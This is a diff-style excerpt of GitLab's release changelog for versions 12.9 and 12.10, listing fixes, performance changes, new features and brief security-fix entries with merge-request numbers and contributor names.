+- Better error message when importing a Github project and Github API rate limit is exceeded. !28785
+- Prevent false positives in Ci::Pipeline#all_merge_requests. !28800
+- Enable toggle all discussions button for logged out users. !28809 (Diego Louzán)
+- Fix display of PyCharm generated Jupyter notebooks. !28810 (Jan Beckmann)
+- Resolve Snippet update error with version flag disabled. !28815
+- Show multimetric embeds on a single chart. !28841
+- Fix race condition updating snippet without repository. !28851
+- Normalize signature mime types when filtering attachments in emails. !28865 (Diego Louzán)
+- Add autostop check to folder table. !28937
+- Fix 500 error on create release API when providing an invalid tag_name. !28969 (Sashi Kumar)
+- Fix missing group icons on profile page when screen < 576px. !28973
+- Stringify Sidekiq job args in exception logs. !28996
+- Ensure members are always added on Project Import when importing as admin. !29046
+- Elasticsearch recommendation alert does not appears while screen is loaded. !29097
+- Prevent wrong environment being used when processing Prometheus alert. !29119
+- Fix Slack slash commands using relative URL. !29160
+- Exclude 'trial_ends_on', 'shared_runners_minutes_limit' & 'extra_shared_runners_minutes_limit' from list of exported Group attributes. !29259
+- Group level container registry show subgroups repos. !29263
+- Move prepend to last line in finders files. !29274 (Rajendra Kadam)
+- Remove 'error' from diff note error message. !29281
+- Migrate legacy uploads out of deprecated paths. !29295
+- Move prepend to last line in commit status presenter. !29328 (Rajendra Kadam)
+- Move prepend to last line in app serializers. !29332 (Rajendra Kadam)
+- Move prepend to last line in app workers and uploaders. !29379 (Rajendra Kadam)
+- fix: Publish toolbar dissappears when submitting empty content. !29410
+- Replace deprecated GlLoadingIcon sizes. !29417
+- fix display head and base in version dropdowns. !29433
+- Fix Web IDE not showing diff when opening commit tab. !29439
+- Use music icon for files with .ogg extension. !29514
+- Fix dashboard processing error which prevented dashboards with unknown attributes inside panels from being displayed. !29517
+- Fix Deploy Token creation when no scope selected. !29614
+- Update auto-build-image to v0.2.2 with fixes for docker caching. !29730
+- Fix resolve WIP clearing merge request area. !29757
+- Enable the Add metric button for CE users. !29769
+- Fix Error 500 when inviting user to a few projects. !29778
+- Fixed whitespace toggle not showing the correct diff.
+- Fixed upload file creating a file in the wrong directory.
+
+### Deprecated (1 change)
+
+- Deprecate 'token' attribute from Runners API. !29481
+
+### Changed (62 changes, 7 of them are from the community)
+
+- Only enable searching of projects by full path / name on certain dropdowns. !21910
+- Support wiki events in activity streams. !23869
+- Fix for issue 26426: Details of runners of nested groups of an owned group are now available for users with enough permissions. !24169 (nachootal@gmail.com)
+- Rename "Project Services" to "Integrations" in frontend and docs. !26244
+- Support multiple Evidences for a Release. !26509
+- Move some global routes to - scope. !27106
+- Only display mirrored URL to users who can manage Repository settings. !27166
+- Disable lookup of other ActiveSessions to determine admin mode status. !27318 (Diego Louzán)
+- Extract X509::Signature from X509::Commit. !27327 (Roger Meier)
+- Show user statistics in admin area also in CE, and use daily generated data for these statistics. !27345
+- Update aws-ecs image location in CI template. !27382
+- Update More Pages button on Wiki Page. !27499
+- Update ApplicationLimits to prefer defaults. !27574
+- Allow external diff files to be removed. !27602
+- Add atomic and cleanup-on-fail parameters for Helm. !27721
+- Change the url when the timeslider changes. !27726
+- Add user_details.bio column and migrate data from users.bio. !27773
+- WAF settings will be read-only if there is a new version of ingress available. !27845
+- Add an helper to check if a notification_event is enabled. !27880 (Jacopo Beschi @jacopo-beschi)
+- Ensure freshness of settings with snippet creation. !27897
+- Update copies in Admin Panel > Repository Storage section. !27986
+- Add event tracking to Container regstry quickstart. !27990
+- Render snippet repository blobs. !28085
+- Accept `author_username` as a param in Merge Requests API. !28100
+- Use rich icons for thw rows on the file tree. !28112
+- Renamed Contribution Charts as Repository Analytics. !28162
+- Move Alerting feature to Core. !28196
+- Add file-based pipeline conditions to default Auto DevOps CI template. !28242
+- Make pipeline info in chat notifications concise. !28284
+- Use different approval icon if current user approved. !28290 (Steffen Köhler)
+- Remove repeated examples in user model specs. !28450 (Rajendra Kadam)
+- Show only active environments in monitoring dropdown. !28456
+- Enable container expiration policies by default for new projects. !28480
+- Show snippet error update to the user. !28516
+- Move 'Additional Metrics' feature to GitLab Core. !28527
+- Add ability to search by environment state in environments GraphQL API. !28567
+- Add correlation_id to project_mirror_data, expose in /import API endpoints. !28662
+- Add status column to container_registry. !28682
+- Cleanup the descriptions of some fields of GraphQL ProjectType. !28735
+- Add Project template for Static Site Editor / Middleman. !28758
+- Remove duplicate show spec in admin routing. !28790 (Rajendra Kadam)
+- Add Fluentd model for cluster apps. !28846
+- Add grab cursor for operations dashboard cards. !28868
+- Update copy when snippet git feature disabled. !28913
+- Expose relations that failed to import in /import endpoints. !28915
+- Update informational text on Edit Release page. !28938
+- Add support for dot (.) in variables masking. !29022
+- Update Auto DevOps docker version to 19.03.8. !29081
+- Make search redaction more robust. !29166
+- Enable async delete in container repository list. !29175
+- Make manual prometheus configuration section always editable. !29209
+- Adjust label title applied to issues on import from Jira. !29246
+- Track statistics per project for jira imported issues. !29406
+- Display local timezone in log explorer. !29409
+- Allow to retry submitting changes when an error occurs. !29434
+- Define dashboard dropdowns layout in flex to improve support smaller screens. !29477
+- Update auto-deploy-image to v0.13.0 for deploy job, enabling more granular control over service.enabled. !29524
+- Do not display branch link in saved changes message UI. !29611
+- Redesign Jira issue import UI. !29671
+- Add support for /file_hooks directory. !29675
+- Sort the project dropdown by star count when moving issues. !29766
+- Increase the timing of polling for the merge request widget.
+
+### Performance (45 changes)
+
+- Limits issues displayed on milestones. !23102
+- Optimize suggestions counters. !26443
+- Prefetch DNS for asset host. !26868
+- Move bots functionality to user_type column. !26981
+- Optimize projects_service_active queries performance in usage data. !27093
+- Optimize projects_mirrored_with_pipelines_enabled query performance in usage data. !27110
+- Optimize ldap keys counters query performance in usage data. !27309
+- Enable Workhorse upload acceleration for Project Import uploads via UI. !27332
+- Cache ES enabled namespaces and projects. !27348
+- Optimize template_repositories query by using batch counting. !27352
+- Reduce SQL queries when rendering webhook settings. !27359
+- Reduce number of SQL queries for service templates. !27396
+- Improve Advanced global search performance by using routing. !27398
+- Improve performance of the container repository cleanup tags service. !27441
+- Optimize usage ping queries by using batch counting. !27455
+- Fix redundant query execution when loading board issues. !27505
+- Optimize projects_enforcing_code_owner_approval counter query performance for usage ping. !27526
+- Optimize projects_reporting_ci_cd_back_to_github query performance for usage data. !27533
+- Optimize service desk enabled projects counter. !27589
+- Improve pagination in discussions API. !27697
+- Improve API response for archived project searchs. !27717
+- Optimize ci builds counters in usage data. !27770
+- Enable streaming serializer feature flag by default. !27813
+- Harden jira usage data. !27973
+- Create merge request pipelines in background jobs. !28024
+- Optimize ci builds non distinct counters in usage data. !28027
+- Remove feature flag 'export_fast_serialize' and 'export_fast_serialize_with_raw_json'. !28037
+- Improve API response for descending internal project searches. !28038
+- Make Rails.cache and Gitlab::Redis::Cache share the same Redis connection pool. !28074
+- Introduce rate limit for creating issues via web UI. !28129
+- Introduce rate limit for creating issues via API. !28130
+- Remove unnecessary index index_ci_builds_on_name_for_security_reports_values. !28224
+- Disallow distinct count for regular batch count. !28518
+- Resolve an N+1 in merge request CI variables. !28688
+- Use faster streaming serializer for project exports. !28925
+- Add index for created_at of resource_milestone_events. !28929
+- Optimize issues with embedded grafana charts usage counter. !28936
+- Avoid scheduling duplicate sidekiq jobs. !29116
+- Optimize projects with repositories enabled usage data. !29117
+- Use diff-stats for calculating raw diffs modified paths. !29134
+- Optimize protected branches usage data. !29148
+- Refresh only existing MRs on push. !29420
+- Reduce SQL requests number for CreateCommitSignatureWorker. !29479
+- Remove redundant index from projects table. !29507
+- Add index on users.unlock_token. !276298
+
+### Added (140 changes, 33 of them are from the community)
+
+- New package list is enabled which includes filtering by type. !18860
+- Create a rake task to cleanup unused LFS files. !21747
+- Support Asciidoc docname attribute. !22313 (Jouke Witteveen)
+- Adds features to delete stopped environments. !22629
+- Highlight line which includes search term is code search results. !22914 (Alex Terekhov (terales))
+- Allow embedded metrics charts to be hidden. !23929
+- Add toggle all discussions button to MRs. !24670 (Martin Hobert & Diego Louzán)
+- Store daily code coverages into ci_daily_report_results table. !24695
+- Add cluster management project template. !25318
+- Add limit metric to lists. !25532
+- Add support for Okta as a SCIM provider. !25649
+- Add grape custom validator for git reference params. !26102 (Rajendra Kadam)
+- Add healthy column to clusters_applications_prometheus table. !26168
+- Add API endpoint to list runners for a group. !26328
+- Add unlock_membership_to_ldap boolean to Groups. !26474
+- Adds wiki metadata models. !26529
+- Create model to store Terraform state files. !26619
+- Improve logs dropdown with more clear labels. !26635
+- Add all pods view to logs explorer. !26883
+- Add first_contribution to single merge request API. !26926
+- Populate user_highest_roles table. !27127
+- Add option for switching between blocking and logging for WAF. !27133
+- Add bar chart support to monitoring dashboard. !27155
+- Start merge request for custom dashboard if new branch is provided. !27189
+- Update user's highest role to keep the users statistics up to date. !27231
+- Make "Value Stream" the default page that appears when clicking the project-level "Analytics" sidebar item. !27279 (Gilang Gumilar)
+- Add metric to derive new users count. !27351
+- Display cluster type in cluster info page. !27366
+- Improve logs filters on mobile, simplify kubernetes API logs filters. !27484
+- Adds branch information to the package details title section. !27488
+- Add forking_access_level to projects API. !27514 (Mathieu Parent)
+- Add a DB column to track external issue and epic ids when importing from external sources. !27522
+- Added Edit Title shared component. !27582
+- Add metrics dashboard annotation model, relation, policy, create and delete services. To provide interface for create and delete operations. !27583
+- Adds filter by name to the packages list. !27586
+- Allow querying of Jira imports and their status via GraphQL. !27587
+- Update Gitaly to 12.9.0-rc5. !27631
+- Add filtered search for elastic search in logs. !27654
+- Add cost factor fields to ci runners. !27666
+- Add auto_ssl_failed to pages_domains. !27671
+- Allow to start Jira import through graphql mutation. !27684
+- Add terraform report to merge request widget. !27700
+- Read metadata from Wiki front-matter. !27706
+- Support custom graceful timeout for Sidekiq Cluster processes. !27710
+- Show storage size on project page. !27724 (Roger Meier)
+- Upload a design by copy/pasting the file into the Design Tab. !27776
+- Update Active checkbox component to use toggle. !27778
+- Add namespace_storage_size_limit to application settings. !27786
+- Add issues to graphQL group endpoint. !27789
+- Enable container registry at the group level. !27814
+- Expose created_at property in Groups API. !27824
+- Add an endpoint to allow group admin users to purge the dependency proxy for a group. !27843
+- Filter health endpoint metrics. !27847
+- Add support for system note metadata in project Import/Export. !27853 (Melvin Vermeeren)
+- Add daily job to create users statistics. !27883
+- Add DS_REMEDIATE env var to dependency scanning template. !27947
+- Add Swift Dockerfile to GitLab templates. !28035
+- Generate JWT and provide it to CI jobs for integration with other systems. !28063
+- Update user's highest role to keep the users statistics up to date. !28087
+- Add jira_imports table to track current jira import progress as well as historical imports data. !28108
+- Add initial support for Cloud Native Buildpacks in Auto DevOps builds. !28165
+- Add app server type to usage ping. !28189
+- Add last_activity_before and last_activity_after filter to /api/projects endpoint. !28221 (Roger Meier)
+- Expose basic project services attributes through GraphQL. !28234
+- Add environment-state flag to metrics data. !28237
+- Allow defining of metric step in dashboard yml. !28247
+- Separate validators into own class files. !28266 (Rajendra Kadam)
+- Refactor push rules and add push_rule_id columns in project settings and application settings. !28286
+- Added support for single-token deletion via option/ctrl-backspace or search-filter clearing via command-backspace in filtered search. !28295 (James Becker)
+- Enable log explorer to use the full height of the screen. !28312
+- Automatically assign id to each panel within dashboard to support panel scoped annotations. !28341
+- Add Praefect rake task to print out replica checksums. !28369
+- Add rake task to update x509 signatures. !28406 (Roger Meier)
+- Add application setting to enable container expiration and retention policies on pre 12.8 projects. !28479
+- Add Prometheus alerts automatically after Prometheus Service was created. !28503
+- Add ability to filter commits by author. !28509
+- Add usage data metrics for instance level clusters and clusters with management projects. !28510
+- Add slash command support for merge train. !28532
+- Add metrics dashboard annotations to GraphQL API. !28550
+- Refactor duplicate specs in wiki page specs. !28551 (Rajendra Kadam)
+- Refactor duplicate member specs. !28574 (Rajendra Kadam)
+- Remove design management as a license feature. !28589
+- Add api endpoint to get x509 signature. !28590 (Roger Meier)
+- Refactored Snippet edit form to Vue. !28600
+- Add support for database-independent embedded metric charts. !28618
+- Fix issuable duplicate spec. !28632 (Rajendra Kadam)
+- Fix build duplicate spec. !28633 (Rajendra Kadam)
+- Remove duplicate specs in ability model. !28644 (Rajendra Kadam)
+- Remove duplicate specs in update service spec. !28650 (Rajendra Kadam)
+- Add added_lines and removed_lines columns to merge_request_metrics table. !28658
+- Remove duplicate specs in pipeline message spec. !28664 (Rajendra Kadam)
+- Implement Terraform State API with locking. !28692
+- Move export issues feature to core. !28703
+- Add status endpoint to Pages Internal API. !28743
+- Enable last user activity logging on the REST API. !28755
+- Refresh metrics dashboard data without reloading the page. !28756
+- Update duplicate specs in update large table spec. !28787 (Rajendra Kadam)
+- Fix duplicate spec in factory relation spec. !28794 (Rajendra Kadam)
+- Remove duplicate spec from changelog spec. !28801 (Rajendra Kadam)
+- Remove duplicate spec from closing issue spec. !28803 (Rajendra Kadam)
+- Allow Release links to be edited on the Edit Release page. !28816
+- Create operations_user_lists table. !28822
+- Added the clone button for Snippet view. !28840
+- Add Fluentd table for cluster apps. !28844
+- Fix duplicate spec from user helper spec. !28854 (Rajendra Kadam)
+- Add missing spec for gitlab schema. !28855 (Rajendra Kadam)
+- Fix duplciate spec in merge requests. !28856 (Rajendra Kadam)
+- Fix duplicate spec in environment finder. !28857 (Rajendra Kadam)
+- Fix duplicate spec in template dropdown spec. !28858 (Rajendra Kadam)
+- Fix duplicate spec in user post diff notes. !28859 (Rajendra Kadam)
+- Fix duplicate spec in filter issues. !28860 (Rajendra Kadam)
+- Remove `ci_dag_support` feature flag. !28863 (Lee Tickett)
+- Validate dependency on job generating a CI config when using dynamic child pipelines. !28901
+- Add read_api scope to personal access tokens for granting read only API access. !28944
+- Add a new default format(engineering notation) for yAxis labels in monitor charts. !28953
+- Add write_registry scope to deploy tokens for container registry push access. !28958
+- Add Nginx error percentage metric. !28983
+- Provide configuration options for Static Site Editor. !29058
+- Remove blobs_fetch_in_batches feature flag. !29069
+- API endpoint to create annotations for environments dashboard. !29089
+- Add graphQL interface to fetch metrics dashboard. !29112
+- Add typed AWS environment variables for access keys & region. !29124
+- Add line range to diff note position. !29135
+- Add push rules association for groups. !29144
+- Gather historical pod list from Elasticsearch. !29168
+- Save changes in Static Site Editor using REST GitLab API. !29286
+- Add temporary empty message when no result is found. !29306
+- Add API endpoint to get users without projects. !29347
+- Add status page url field to DB and setting model. !29357
+- Add metrics_dashboard_access_level to project features. !29371
+- Add a database column to enable or disable group owners from changing the default branch protection setting of a group. !29397
+- Allow sorting of issue and MR discussions. !29492
+- Update UI for project and group settings CI variables. !29584
+- Add GRADLE_CLI_OPTS and SBT_CLI_OPTS env vars to dependency scanning orchestrator. !29595
+- Add name_regex_keep to container_expiration_policies. !29618
+- Adds Knative and Fluentd as CI/CD managed applications. !29637
+- Add jira issues import feature.
+- Add wildcard case in documentation for artifacts. (Fábio Matavelli)
+- Add namespace storage size limit setting.
+- Add placeholders to broadcast message notifications.
+
+### Other (48 changes, 16 of them are from the community)
+
+- Convert schema to plain SQL using structure.sql. !22808
+- Provide link to a survey for Knative users. !23025
+- Complete the migration of Job Artifact to Security Scan. !24244
+- Migrate .fa-spinner to .spinner for app/views/shared/notes. !25028 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/ci/variables. !25030 (nuwe1)
+- Migrate .fa-spinner to .spinner for ee/app/views/projects/settings. !25038 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/projects/mirrors. !25041 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/projects/network. !25050 (nuwe1)
+- Migrate .fa-spinner to .spinner for app/views/groups. !25053 (nuwe1)
+- Replace underscore with lodash for ./app/assets/javascripts/vue_shared. !25108 (Tobias Spagert)
+- Remove health_status column from epics. !26302
+- Show object access warning when disabling repo LFS. !26696
+- Update icons in Sentry Error Tracking list for ignored/resolved errors. !27125
+- Use Ruby 2.7 in specs to remove Ruby 2.1/2.2/2.3. !27269 (Takuya Noguchi)
+- Fill user_type for ghost users. !27387
+- Add Bitbucket Importer metrics. !27524
+- Consume remaining LinkLFsObjectsProjects jobs. !27558
+- Update GitLab Runner Helm Chart to 0.15.0. !27670
+- Log Redis call count and duration to log files. !27735
+- Use id instead of cve where possible when parsing remediations. !27815
+- Log member additions when importing Project/Group. !27930
+- Change project_export_worker urgency to throttled. !27941
+- Add missing track_exception() call to Ci::CreateJobArtifactsService. !27954
+- Add possibility to conigure additional rails hosts with env variable. !28133
+- Remove new issue tooltip. !28261 (Victor Wu)
+- Improve message when promoting project labels. !28265
+- Change the link to chart copy text. !28371
+- Conditional mocking of admin mode in specs by directory. !28420 (Diego Louzán)
+- Align color and font-weight styles of heading elements and their typography classes. !28422
+- Fix merge request thread’s icon buttons color. !28465
+- Updated spinner next to forking message. !28506 (Victor Wu)
+- Replaced old-style buttons with the new ones on Snippet view. !28614
+- Change redo for retry icon in metrics dashboard. !28670
+- Remove User's association max_access_level_membership. !28757
+- Reduce urgency of EmailsOnPushWorker. !28783
+- Use concern instead of service to update highest role. !28791
+- Normalize error message between Gitea and Fogbugz importers. !28802
+- Fix keyboard shortcut to navigate to your groups. !28873 (Victor Wu)
+- Fix keyboard shortcut to navigate to dashboard activity. !28985 (Victor Wu)
+- Remove unused index for vulnerability severity levels. !29023
+- Update query labels dynamically for embedded charts. !29034
+- Refactor projects/:id/packages API to supply only necessary params to PackagesFinder. !29052 (Sashi Kumar)
+- Implement showing CI bridge error messages. !29123
+- Update GitLab Shell to v12.1.0. !29167
+- Update GitLab Elasticsearch Indexer. !29256
+- Add Gitlab User-Agent to ContainerRegistry::Client. !29294 (Sashi Kumar)
+- Improve error message in DAST CI template. !29388
+- Remove store_mentions! in Snippets::CreateService. !29581 (Sashi Kumar)
+
+
+## 12.9.10 (2020-06-10)
+
+- No changes.
+
+## 12.9.8 (2020-05-27)
+
+### Security (13 changes)
+
+- Hide EKS secret key in admin integrations settings.
+- Added data integrity check before updating a deploy key.
+- Display only verified emails on notifications and profile page.
+- Disable caching on repo/blobs/[sha]/raw endpoint.
+- Require confirmed email address for GitLab OAuth authentication.
+- Kubernetes cluster details page no longer exposes Service Token.
+- Fix confirming unverified emails with soft email confirmation flow enabled.
+- Disallow user to control PUT request using mermaid markdown in issue description.
+- Check forked project permissions before allowing fork.
+- Limit memory footprint of a command that generates ZIP artifacts metadata.
+- Fix file enuming using Group Import.
+- Prevent XSS in the monitoring dashboard.
+- Use `gsub` instead of the Ruby `%` operator to perform variable substitution in Prometheus proxy API.
+
+
+## 12.9.6 (2020-05-05)
+
+### Fixed (1 change)
+
+- Add a Project's group to list of groups when parsing for codeowner entries. !30934
+
+
+## 12.9.5 (2020-04-30)
+
+### Security (9 changes)
+
+- Ensure MR diff exists before codeowner check.
+- Apply CODEOWNERS validations to web requests.
+- Prevent unauthorized access to default branch.
+- Do not return private project ID without permission.
+- Fix doorkeeper CVE-2020-10187.
+- Prevent ES credentials leak.
+- Change GitHub service integration token input to password.
+- Return only safe urls for mirrors.
+- Validate workhorse 'rewritten_fields' and properly use them during multipart uploads.
+
+
+## 12.9.4 (2020-04-16)
+
+- No changes.
+### Fixed (5 changes, 1 of them is from the community)
+
+- Fix not working File upload from Project overview page. !26828 (Gilang Gumilar)
+- Fix storage rollback regression caused by previous refactor. !28496
+- Fix incorrect regex used in FileUploader#extract_dynamic_path. !28683
+- Fully qualify id columns for keyset pagination (Projects API). !29026
+- Fix Slack notifications when upgrading from old GitLab versions. !29111
+
+
+## 12.9.3 (2020-04-14)
+
+### Security (3 changes)
+
+- Refresh ProjectAuthorization during Group deletion.
+- Prevent filename bypass on artifact upload.
+- Update rack and related gems to 2.0.9 to fix security issue.
+
+
+## 12.9.2 (2020-03-31)
+
+### Fixed (5 changes)
+
+- Ensure import by URL works after a failed import. !27546
+- Fix issue/MR state not being preserved when importing a project using Project Import/Export. !27816
+- Leave upload Content-Type unchaged. !27864
+- Disable archive rate limit by default. !28264
+- Fix rake gitlab:setup failing on new installs. !28270
+
+### Changed (1 change)
+
+- Rename feature on the FE and locale.
+
+### Performance (1 change)
+
+- Index issues on sent_notifications table. !27034
+
+
+## 12.9.1 (2020-03-26)
+
+### Security (16 changes)
+
+- Add permission check for pipeline status of MR.
+- Ignore empty remote_id params from Workhorse accelerated uploads.
+- External user can not create personal snippet through API.
+- Prevent malicious entry for group name.
+- Restrict mirroring changes to admins only when mirroring is disabled.
+- Reject all container registry requests from blocked users.
+- Deny localhost requests on fogbugz importer.
+- Redact notes in moved confidential issues.
+- Fix UploadRewriter Path Traversal vulnerability.
+- Block hotlinking to repository archives.
+- Restrict access to project pipeline metrics reports.
+- vulnerability_feedback records should be restricted to a dev role and above.
+- Exclude Carrierwave remote URL methods from import.
+- Update Nokogiri to fix CVE-2020-7595.
+- Prevent updating trigger by other maintainers.
+- Fix XSS vulnerability in `admin/email` "Recipient Group" dropdown.
+
+### Fixed (1 change)
+
+- Fix updating the authorized_keys file. !27798
+
+
+## 12.9.0 (2020-03-22)
+
+### Security (1 change)
+
+- Update Puma to 4.3.3. !27232
+
+### Removed (3 changes)
+
+- Remove staging from commit workflow in the Web IDE. !26151
+- Remove and deprecate snippet content search. !26359
+- Remove "Analytics" suffix from the sidebar menu items. !26415
+
+### Fixed (117 changes, 19 of them are from the community)
+
+- Set all NULL `lock_version` values to 0 for issuables. !18418
+- Support finding namespace by ID or path on fork API. !20603 (leoleoasd)
+- Fixes caret position after pasting an image 15011. !21382 (Carolina Carvalhosa)
+- Use of sha instead of ref when creating a new ref on deployment creation. !23170
+- Fix logic to determine project export state and add regeneration_in_progress state. !23664
+- Create child pipelines dynamically using content from artifact as CI configuration. !23790
+- Handle Gitaly failure when fetching license. !24310
+- Fix error details layout and alignment for mobile view. !24390
+- Added the multiSelect option to stop event propagation when clicking on the dropdown. !24611 (Gwen_)
+- Activate Prometheus integration service for newly created project if this project has access to shared Prometheus application. !24676
+- Fix Jump to next unresolved thread. !24728
+- Require a logged in user to accept or decline a term. !24771
+- Fix quick actions executing in multiline inline code when placed on its own line. !24933 (Pavlo Dudchenko)
+- Fix timezones for popovers. !24942
+- Prevent "Select project to create merge request" button from overflowing out of the viewport on mobile. !25195
+- Add validation for updated_at parameter in update Issue API. !25201 (Filip Stybel)
+- Elasticsearch: when index is absent warn users and disable index button. !25254
+- Fix pipeline details page initialisation on invalid pipeline. !25302 (Fabio Huser)
+- Fix bug with sidebar not expanding at certain resolutions. !25313 (Lee Tickett)
+- Rescue elasticsearch server error in pod logs. !25367
+- Fix project setting approval input in non-sequential order. !25391
+- Add responsivity to cluster environments table. !25501
+- Board issue due dates appear grey for closed past-due issues. !25507 (rachelfox)
+- Fix self monitoring project link. !25516
+- Don't track MR deployment multiple times. !25537
+- Fix an issue with Group Import members with Owner access level being imported with Maintainer access level. Owner access level is now preserved. !25595
+- Allow 0 to be set for pages maximum size per project/group to indicate unlimited size. !25677
+- Fix variable passthrough in the SAST CI/CD template when using DinD. !25697
+- Drop bridge if downstream pipeline has errors. !25706
+- Clean stale background migration jobs. !25707
+- Inject CSP values when repository static objects external caching is enabled. !25711
+- Fix bug deleting internal project snippets by project maintainer. !25792
+- Fix Insights displaying JSON on back navigation. !25801
+- Don't show issue as blocked on the issue board if blocking issue is closed. !25817
+- Return 503 to the Runner when the object storage is unavailable. !25822
+- Ensure temp export data is removed if Group/Project export failed. !25828
+- Fix Kubernetes namespace resolution for new DeploymentCluster records. !25853
+- Fix links to exposed artifacts in MRs from forks. !25868 (Daniel Stone)
+- Keep needs association on the retried build. !25888
+- Remove unreachable link from embded dashboard context menu. !25892
+- Fix issue importer so it matches issue export format. !25896
+- Fix snippet blob viewers for rich and plain data. !25945
+- Fix White syntax highlighting theme in Monaco to closely match the Pygments theme. !25966
+- Markup tips for Markdown shown while editing wiki pages in other formats. !25974
+- Fix code search pagination on a custom branch. !25984
+- Fix Snippet content incorrectly caching. !25985
+- Fix 500 error caused by Kubernetes logs not being encoded in UTF-8. !25999
+- Fix "Add an epic" form. !26003
+- Ensure weight changes no longer render duplicate system notes. !26014
+- Geo: Show secondary-only setting on only on secondaries. !26029
+- Fixes project import failures when user is not part of any groups. !26038
+- Fix ImportFailure when restore ci_pipelines:external_pull_request relation. !26041
+- Code Review Analytics: Fix review time display. !26057
+- Allow to fork to the same namespace and different path via API call. !26062
+- Change back internal api return code. !26063
+- Create approval todos on update. !26077
+- Fix issues missing on epic's page after project import. !26099
+- Fix scoped labels rendering in To-Do List. !26146
+- Fix 500 Error when using Gitea Importer. !26166
+- Fix dev vulnerabilities seeder. !26169
+- Use uncached SQL queries for Geo long-running workers. !26187
+- Fix infinite spinner on error detail page. !26188
+- Generate proper link for Pipeline tab. !26193
+- Issue Analytics: Fix svg illustration path for empty state. !26219
+- Fix dashboards dropdown if custom dashboard is broken. !26228
+- Refresh widget after canceling "Merge When Pipeline Succeeds". !26232
+- Fix package file finder for conan packages with a conan_package_reference filter. !26240
+- Fixed bug where processing NuGet packages are returned from the Packages API. !26270
+- Fix bug committing snippet content when creating the snippet. !26287
+- Fix error messages for dashboard clonning process. !26290
+- Fix saving preferences with unrelated changes when gitaly timeouts became invalid. !26292
+- Allow creating default branch in snippet repositories. !26294
+- Container expiration policy settings hide form on API error. !26303
+- Prevent unauthorized users to lock an issue from the collapsed sidebar. !26324 (Gilang Gumilar)
+- Mark existing LFS object for upload for forks. !26344
+- Fix scoped labels rendering in emails. !26347
+- Fix issues with non-ASCII plain text files being incorrectly uploaded as binary in the Web IDE. !26360
+- Polyfill fetch for Internet Explorer 11. !26366
+- Fix avg_cycle_analytics uncaught error and optimize query. !26381
+- Fix reversed pipeline order on Project Import. !26390
+- Display GitLab issues created via Sentry global integration. !26418
+- Fix MergeToRefService raises Gitlab::Git::CommandError. !26465
+- Render special references for releases. !26554
+- Show git error message updating snippet. !26570
+- Support Rails 6 `insert_all!`. !26595
+- Fix evidence SHA clipboard hover text. !26608 (Gilang Gumilar)
+- Prevent editing weight to scroll to the top. !26613 (Gilang Gumilar)
+- Fix spinner in Create MR dropdown. !26679
+- Added a padding-right to items in subgroup list. !26791
+- Prevent default overwrite for theme and color ID in user API. !26792 (Fabio Huser)
+- Fix user registration when smartcard authentication is enabled. !26800
+- Correctly send notification on pipeline retry. !26803 (Jacopo Beschi @jacopo-beschi)
+- Default to generating blob links for missing paths. !26817
+- Fix Mermaid flowchart width. !26848 (julien MILLAU)
+- Ensure valid mount point is used by attachments on notes. !26849
+- Validate that users selects at least two subnets in EKS Form. !26936
+- Fix embeds so that a chart appears only once. !26997
+- Fix capybara screenshots path name for rails configuration. !27002
+- Fix access to logs when multiple pods exist. !27008
+- Fix installation of GitLab-managed crossplane chart. !27040
+- Fix bug displaying snippet update error. !27082
+- Fix WikiPage#title_changed for paths with spaces. !27087
+- Fix backend validation of numeric emoji names. !27101
+- Reorder exported relations by primary_key when using Project Export. !27117
+- Ensure freshness of settings with project creation. !27156
+- Fix bug setting hook env with personal snippets. !27235
+- Fix Conan package download_urls and snapshot to return files based on requested conan_package_reference. !27250
+- Fixes stop_review job upon expired artifacts from previous stages. !27258 (Jack Lei)
+- Fix duplicate labels when moving projects within the same ancestor group. !27261
+- Fix project moved message after git operation. !27341
+- Fix submodule links to gist.github.com. !27346
+- Fix remove special chars from snippet url_to_repo. !27390
+- Validate actor against CODEOWNERS entries.
+- Fix: tableflip quick action is interpreted even if inside code block. (Pavlo Dudchenko)
+- Fix an error with concat method.
+- Improved selection of multiple cards. (Gwen_)
+- Resolves the disappearance of a ticket when it was moved from the closed list. (Gwen_)
+
+### Deprecated (1 change)
+
+- Remove state column from issues and merge_requests. !25561
+
+### Changed (81 changes, 18 of them are from the community)
+
+- Remove kubernetes workaround in container scanning. !21188
+- New styles for scoped labels. !21377
+- Update labels in Vue with GlLabel component. !21465
+- Update Web IDE clientside preview bundler to use GitLab managed server. !21520
+- Allow default time window on grafana embeds. !21884
+- Default to first valid panel in unspecified Grafana embeds. !21932
+- Correctly style scoped labels in sidebar after updating. !22071
+- Add id and image_v432x230 columns to design_management_designs_versions. !22860
+- Decouple Webhooks from Integrations within Project > Settings. !23136
+- Sort closed issues on issue boards using time of closing. !23442 (briankabiro)
+- Differentiate between errors and failures in xUnit result. !23476
+- Add 'shard' label for 'job_queue_duration_seconds' metric. !23536
+- Migrate mentions for design notes to design_user_mentions DB table. !23704
+- Migrate mentions for commit notes to commit_user_mentions DB table. !23859
+- Update files when snippet is updated. !23993
+- Move issues routes under /-/ scope. !24791
+- Migrated the sidebar label select dropdown title component spinner to utilize GlLoadingIcon. !24914 (Raihan Kabir)
+- Migrated from .fa-spinner to .spinner in 'app/assets/javascripts/notes.js. !24916 (Raihan Kabir (gitlab/rk4bir))
+- Migrated from .fa-spinner to .spinner in app/assets/javascripts/create_merge_request_dropdown.js. !24917 (Raihan Kabir (gitlab/rk4bir))
+- Migrated from .fa-spinner to .spinner in app/assets/javascripts/sidebar/components/assignees/assignee_title.vue. !24919 (rk4bir)
+- Replace underscore with lodash for ./app/assets/javascripts/deploy_keys. !24965 (Jacopo Beschi @jacopo-beschi)
+- Replace underscore with lodash for ./app/assets/javascripts/badges. !24966 (Jacopo Beschi @jacopo-beschi)
+- Add commits limit text at graphs page. !24990
+- Migrated from .fa-spinner to .spinner in app/assets/javascripts/blob/template_selector.js. !25045 (Raihan Kabir (gitlab/rk4bir))
+- Update iOS (Swift) project template logo. !25049
+- Sessionless and API endpoints bypass session for admin mode. !25056 (Diego Louzán)
+- New loading spinner for attachemnt uploads via discussion boxes. !25057 (Philip Jonas)
+- Hide the private commit email in Notification email list. !25099 (briankabiro)
+- Replace underscore with lodash in /app/assets/javascripts/blob/. !25113 (rkpattnaik780)
+- Allow access to /version API endpoint with read_user scope. !25211
+- Use only the first line of the commit message on chat service notification. !25224 (Takuya Noguchi)
+- Include invalid directories in wiki title message. !25376
